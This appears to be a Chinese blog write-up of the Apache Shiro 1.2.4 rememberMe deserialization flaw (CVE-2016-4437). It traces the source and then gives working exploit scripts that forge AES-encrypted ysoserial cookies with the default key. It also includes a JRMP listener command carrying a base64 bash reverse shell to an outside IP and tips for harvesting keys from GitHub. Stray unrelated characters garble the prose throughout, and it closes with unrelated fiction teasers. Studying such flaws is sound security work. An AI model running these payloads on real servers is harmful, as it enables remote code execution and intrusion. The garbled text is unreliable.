shrio1.2.4反序列化分析

1. 環(huán)境搭建

可以按照網(wǎng)上的教程git后修改xml沙咏,或者直接下載已經(jīng)配置好的samples-web-1.2.4.war迟蜜,可參考的鏈接為https://github.com/damit5/damit5.github.io/raw/master/2019/09/26/Apache-Shiro-RememberMe-1-2-4-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%A4%8D%E7%8E%B0/samples-web-1.2.4.war西剥,將該war包放入tomcat/webapps目錄下笨篷,然后在瀏覽器中http://localhost:8080/samples-web-1.2.4直接訪問斩个。如果要進行代碼查看和動態(tài)調(diào)試书妻,將該war包用IDEA打開,mvn自動構(gòu)建商源。配置項目的tomcat并添加war包车份。

2. 漏洞分析

Apache Shiro反序列化漏洞編號CVE-2016-4437谋减,漏洞特征是rememberMe牡彻,存在版本Apache Shiro <= 1.2.4。


漏洞特征-rememberMe

Apache Shiro默認使用了CookieRememberMeManager出爹,其處理cookie的流程是:得到rememberMe的cookie值 > Base64解碼–>AES解密(硬編碼)–>反序列化庄吼。
(1)RemeberMe加密過程
首先跟進下RememberMe值的加密過程,在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin下個斷點严就,然后點擊debug開啟tomcat服務(wù)总寻。在web端登錄賬戶root/secret,勾選上Remember Me的按鈕梢为,程序從斷點處開始調(diào)試渐行。

加密調(diào)試

首先調(diào)用forgetIdentity構(gòu)造方法處理request和responese請求(加入cookie)->(如果勾選了rememberme選項,if(isRememberMe)進入條件)rememberIdentity處理cookie中的rememberme字段->getIdentityToRemember獲取用戶身份root->convertPrincipalsToBytes序列化root轉(zhuǎn)成字節(jié)碼并進行encrypt加密->encrypt()調(diào)用AES加密序列化后的root铸董,其密鑰由getEncryptionCipherKey得到->getEncryptionCipherKey():base64.decode("KPH+bIxk5D2deZiIxcaaaA==")->rememberSerializedIdentity()將序列化后的結(jié)果進行base64加密設(shè)置到cookie中

public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
    PrincipalCollection principals = this.getIdentityToRemember(subject, authcInfo);
    this.rememberIdentity(subject, principals);
}

protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
    byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
    this.rememberSerializedIdentity(subject, bytes);
}
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
   byte[] bytes = serialize(principals);     //序列化principals
   if (getCipherService() != null) {
       bytes = encrypt(bytes);         //加密bytes
   }
       return bytes;
}
protected byte[] encrypt(byte[] serialized) {
    byte[] value = serialized;
    CipherService cipherService = this.getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
        value = byteSource.getBytes();
    }
        return value;
}
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
    if (!WebUtils.isHttp(subject)) {
        if (log.isDebugEnabled()) {
            String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet request and response in order to set the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
            log.debug(msg);
        }

    } else {
        HttpServletRequest request = WebUtils.getHttpRequest(subject);
        HttpServletResponse response = WebUtils.getHttpResponse(subject);
        String base64 = Base64.encodeToString(serialized);
        Cookie template = this.getCookie();
        Cookie cookie = new SimpleCookie(template);
        cookie.setValue(base64);
        cookie.saveTo(request, response);
    }
}

(2)RememberMe解密過程
將斷點打在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity祟印,然后發(fā)送一個帶有rememberMe Cookie的請求。
getRememberedIdentity->getRememberedPrincipals:getCookie.readValue(),base64.decode提取cookie進行base64解碼->convertBytesToPrincipals進行ASE解密并反序列化

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);
        if (bytes != null && bytes.length > 0) {
            principals = this.convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException var4) {
        principals = this.onRememberedPrincipalFailure(var4, subjectContext);
    }

    return principals;
}
 protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
    if (!WebUtils.isHttp(subjectContext)) {
        if(log.isDebugEnabled()) {
            String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
            log.debug(msg);
        }
        return null;
    } else {
        WebSubjectContext wsc = (WebSubjectContext)subjectContext;
        if (this.isIdentityRemoved(wsc)) {
            return null;
        } else {
            HttpServletRequest request = WebUtils.getHttpRequest(wsc);
            HttpServletResponse response = WebUtils.getHttpResponse(wsc);
            String base64 = this.getCookie().readValue(request, response);
            if ("deleteMe".equals(base64)) {
                return null;
            } else if (base64 != null) {
                base64 = this.ensurePadding(base64);
                if (log.isTraceEnabled()) {
                    log.trace("Acquired Base64 encoded identity [" + base64 + "]");
                }
                byte[] decoded = Base64.decode(base64);
                if (log.isTraceEnabled()) {
                    log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
                }
                return decoded;
            } else {
                return null;
            }
        }
    }
}
public String readValue(HttpServletRequest request, HttpServletResponse ignored) {
    String name = this.getName();
    String value = null;
    javax.servlet.http.Cookie cookie = getCookie(request, name);
    if (cookie != null) {
        value = cookie.getValue();
        log.debug("Found '{}' cookie value [{}]", name, value);
    } else {
        log.trace("No '{}' cookie value", name);
    }
    return value;
}

private static javax.servlet.http.Cookie getCookie(HttpServletRequest request, String cookieName) {
    javax.servlet.http.Cookie[] cookies = request.getCookies();
    if (cookies != null) {
        javax.servlet.http.Cookie[] arr$ = cookies;
        int len$ = cookies.length;
        for(int i$ = 0; i$ < len$; ++i$) {
            javax.servlet.http.Cookie cookie = arr$[i$];
            if (cookie.getName().equals(cookieName)) {
                return cookie;
            }
        }
    }
    return null;
}
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (this.getCipherService() != null) {
        bytes = this.decrypt(bytes);
    }
    return this.deserialize(bytes);
}
protected byte[] decrypt(byte[] encrypted) {
    byte[] serialized = encrypted;
    CipherService cipherService = this.getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());
        serialized = byteSource.getBytes();
    }
    return serialized;
}
public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    } else {
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
           ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            T deserialized = ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception var6) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, var6);
        }
    }
}

3. 漏洞利用

根據(jù)上述對漏洞代碼的分析粟害,梳理整個流程為讀取cookie的rememberMe值蕴忆,base64解碼,AES解密并進行反序列化悲幅。由于AES解密的密鑰為常量套鹅,可以手動構(gòu)造rememberMe值并改造其readObject方法站蝠,使得在反序列化時可以任意執(zhí)行操作,從而進行漏洞利用卓鹿。payload參考了網(wǎng)上其他師傅的菱魔。

3.1 cookie生成

# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'D:\\payload\\ysoserial-master.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("shrio_payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)
burp發(fā)包

根據(jù)實驗可知此漏洞攻擊時無回顯,那么可以通過dnslog平臺吟孙,使用ysoserial的URLDNS Gadget來檢測豌习。這種檢測也可以解決系統(tǒng)環(huán)境復(fù)雜的問題。但是這里要注意解析會有ttl值緩存拔疚,檢測時建議每次隨機生成一個子域名肥隆。

3.2 URLDNS

#!/usr/bin/env python3
# coding:utf-8

from Crypto.Cipher import AES
import traceback
import requests
import subprocess
import uuid
import base64

target = "http://localhost:8080/samples_web_1_2_4_war/"
jar_file = 'D:\\payload\\ysoserial-master.jar'
cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="

popen = subprocess.Popen(['java','-jar',jar_file, "URLDNS", "http://or4qfr.dnslog.cn"],
                        stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(cipher_key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

try:
    r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=10)
except:
    traceback.print_exc()

如果成功檢測到dns請求,說明命令執(zhí)行成功稚失。如圖所示:


dnslog上收到的結(jié)果

3.3 JRMP

生成cookie的腳本如下栋艳,使用時參數(shù)傳入ip:port。

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
 
def encode_rememberme(command): 
    popen = subprocess.Popen(['java', '-jar', 'D:\\payload\\ysoserial-master.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print("rememberMe={0}".format(payload.decode()))

然后開啟攻擊機監(jiān)聽命令句各,因為此源碼的war包中包含的Commons-Collections4吸占,所以采用ysoserial中對應(yīng)的payload版本,CommonsCollections2凿宾,參數(shù)傳入反彈shell矾屯,以linux下的bash命令為例。http://www.jackson-t.ca/runtime-exec-payloads.html并在此網(wǎng)站下轉(zhuǎn)換bash初厚,其結(jié)果當(dāng)做參數(shù)傳入件蚕。

java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 1699 CommonsCollections2 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40My4zNi4xNTEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}"

burp中發(fā)送生成的cookie,并監(jiān)聽bash所用的端口产禾,連接shell排作。

3.4 key收集

另外在攻擊時無法確定Key是否被修改⊙乔椋可以通過網(wǎng)絡(luò)收集來獲取key妄痪,例如通過github搜索關(guān)鍵詞或文件路徑:

securityManager.rememberMeManager.cipherKey
cookieRememberMeManager.setCipherKey
setCipherKey(Base64.decode
WEB-INF/shiro.ini
ShiroConfig.java
收集key

參考資料

常用搜索方法:
https://bacde.me/post/Apache-Shiro-Deserialize-Vulnerability/
相關(guān)分析:
https://paper.seebug.org/shiro-rememberme-1-2-4/
報錯分析:
https://blog.zsxsoft.com/post/35

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市楞件,隨后出現(xiàn)的幾起案子衫生,更是在濱河造成了極大的恐慌,老刑警劉巖土浸,帶你破解...
    沈念sama閱讀 206,968評論 6 482
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件罪针,死亡現(xiàn)場離奇詭異,居然都是意外死亡栅迄,警方通過查閱死者的電腦和手機站故,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,601評論 2 382
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人西篓,你說我怎么就攤上這事愈腾。” “怎么了岂津?”我有些...
    開封第一講書人閱讀 153,220評論 0 344
  • 文/不壞的土叔 我叫張陵虱黄,是天一觀的道長。 經(jīng)常有香客問我吮成,道長橱乱,這世上最難降的妖魔是什么魂角? 我笑而不...
    開封第一講書人閱讀 55,416評論 1 279
  • 正文 為了忘掉前任膜廊,我火速辦了婚禮,結(jié)果婚禮上恢着,老公的妹妹穿的比我還像新娘茶宵。我一直安慰自己危纫,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 64,425評論 5 374
  • 文/花漫 我一把揭開白布乌庶。 她就那樣靜靜地躺著种蝶,像睡著了一般。 火紅的嫁衣襯著肌膚如雪瞒大。 梳的紋絲不亂的頭發(fā)上螃征,一...
    開封第一講書人閱讀 49,144評論 1 285
  • 那天,我揣著相機與錄音透敌,去河邊找鬼盯滚。 笑死,一個胖子當(dāng)著我的面吹牛拙泽,可吹牛的內(nèi)容都是我干的淌山。 我是一名探鬼主播,決...
    沈念sama閱讀 38,432評論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼顾瞻,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了德绿?” 一聲冷哼從身側(cè)響起荷荤,我...
    開封第一講書人閱讀 37,088評論 0 261
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎移稳,沒想到半個月后蕴纳,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,586評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡个粱,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,028評論 2 325
  • 正文 我和宋清朗相戀三年古毛,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,137評論 1 334
  • 序言:一個原本活蹦亂跳的男人離奇死亡稻薇,死狀恐怖嫂冻,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情塞椎,我是刑警寧澤桨仿,帶...
    沈念sama閱讀 33,783評論 4 324
  • 正文 年R本政府宣布,位于F島的核電站案狠,受9級特大地震影響服傍,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜骂铁,卻給世界環(huán)境...
    茶點故事閱讀 39,343評論 3 307
  • 文/蒙蒙 一吹零、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧拉庵,春花似錦瘪校、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,333評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至伸辟,卻和暖如春麻惶,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背信夫。 一陣腳步聲響...
    開封第一講書人閱讀 31,559評論 1 262
  • 我被黑心中介騙來泰國打工窃蹋, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人静稻。 一個月前我還...
    沈念sama閱讀 45,595評論 2 355
  • 正文 我出身青樓警没,卻偏偏與公主長得像,于是被迫代替她去往敵國和親振湾。 傳聞我的和親對象是個殘疾皇子杀迹,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 42,901評論 2 345